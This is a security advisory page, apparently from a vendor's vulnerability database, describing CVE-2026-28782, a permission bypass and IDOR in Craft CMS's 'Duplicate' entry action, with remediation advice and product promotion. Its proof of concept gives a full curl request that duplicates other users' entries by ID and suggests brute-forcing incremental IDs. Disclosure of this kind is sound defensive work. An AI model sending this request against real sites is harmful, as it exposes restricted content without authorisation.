Summary
Craft CMS has Permission Bypass and IDOR in Duplicate Entry Action
Description
The "Duplicate" entry action does not properly verify if the user has permission to perform this action on the specific target elements.
Even with only "View Entries" permission (where the "Duplicate" action is restricted in the UI), a user can bypass this restriction by sending a direct request.
Furthermore, this vulnerability allows duplicating other users' entries by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.
Proof of Concept
Prerequisites
- A user with "View Entries" permission on any section.
Steps to Reproduce
- Log in as a user with minimal permissions ("View Entries").
- Identify the target Entry ID (e.g., via brute-force
1toN). - Send the following cURL request:
Replace
craft.local,<Cookie>,<CSRF>and6393(which is the entry ID):curl --path-as-is -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json' -H $'Content-Type: application/json' -H $'X-CSRF-Token: <CSRF>' -H $'Content-Length: 216' -b $'<Cookie>' --data-binary $'{\"context\":\"index\",\"elementType\":\"craft\\\\elements\\\\Entry\",\"source\":\"section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\",\"viewState\":{\"static\":true},\"elementAction\":\"craft\\\\elements\\\\actions\\\\Duplicate\",\"elementIds\":[6393]}' $'http://craft.local/index.php?p=admin%2Factions%2Felement-indexes%2Fperform-action' - Observe that a new entry is created with the attacker as the owner, granting full access to the content.
Resources
https://github.com/craftcms/cms/commit/fb61a91357f5761c852400185ba931f51d82783d
Impact
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
craftcms/cms to 5.9.0-beta.1 or later; craftcms/cms to 4.17.0-beta.1 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-28782? CVE-2026-28782 is a medium-severity security vulnerability in craftcms/cms (composer), affecting versions >= 5.0.0-RC1, < 5.9.0-beta.1. It is fixed in 5.9.0-beta.1, 4.17.0-beta.1.
- Which versions of craftcms/cms are affected by CVE-2026-28782? craftcms/cms (composer) versions >= 5.0.0-RC1, < 5.9.0-beta.1 is affected.
- Is there a fix for CVE-2026-28782? Yes. CVE-2026-28782 is fixed in 5.9.0-beta.1, 4.17.0-beta.1. Upgrade to this version or later.
- Is CVE-2026-28782 exploitable, and should I be worried? Whether CVE-2026-28782 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-28782 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-28782?
- Upgrade
craftcms/cmsto 5.9.0-beta.1 or later - Upgrade
craftcms/cmsto 4.17.0-beta.1 or later
- Upgrade